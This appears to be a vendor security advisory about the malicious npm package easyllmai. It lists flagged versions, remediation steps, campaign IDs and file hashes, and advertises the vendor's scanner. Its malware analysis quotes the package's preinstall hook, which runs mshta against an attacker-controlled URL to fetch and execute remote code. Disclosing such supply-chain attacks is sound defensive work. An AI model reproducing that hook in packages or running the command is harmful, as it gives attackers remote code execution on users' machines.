Which versions of easyllmai are malicious?

The following npm versions of easyllmai are flagged malicious: 3.0.1, 4.0.1. Treat any of these as compromised.

How do I remediate easyllmai if I installed it?

Remove easyllmai from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound network activity or persistence. Use O3 Security's dependency scanner to confirm the package and its artifacts are fully purged across your stack.

Is easyllmai part of a known attack campaign?

Yes — easyllmai is associated with the IN-MAL-2026-006774, IN-MAL-2026-006775 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

Can O3 Security detect easyllmai in my codebase?

Yes. O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, blocking easyllmai and packages like it before any post-install script runs.

Malicious package

easyllmainpm

Malicious code in easyllmai (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5895

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall easyllmai

What this malware does

On npm install, the package's preinstall lifecycle hook ("preinstall": "node preinstall.js") unconditionally runs exec('cmd /c "mshta http://fixars.top"'). On Windows, mshta is a living-off-the-land binary that fetches and executes arbitrary HTML Application / JScript / VBScript content from the supplied URL with the invoking user's privileges. The destination is plain HTTP, attacker-controlled, and the delivered payload is opaque remote code with no signature, hash, or version pinning — giving the publisher full remote code execution on any Windows machine that runs npm install. Package metadata is also a throwaway shape (empty description, empty author, no repository, no keywords) and the name easyllmai is consistent with a typosquat lure against legitimate LLM-client packages.

Malicious versions

2 flagged

3.0.14.0.1

Indicators of compromise (SHA-256)

2f3b4523b083331b34769a2a730586fa622f50560f2f237a893633e7ffb57872

d1ab2568a3b8f8952a19724dc50ba7d34f9839b01c20ec315490c45d069def02

Frequently asked questions

No. easyllmai on npm has been identified as a malicious package (versions 3.0.1, 4.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006774IN-MAL-2026-006775

References

Credits

Amazon Inspector · finder

Scan your dependencies

O3 Security blocks malicious packages like this at install time and in CI.

Supply-chain protection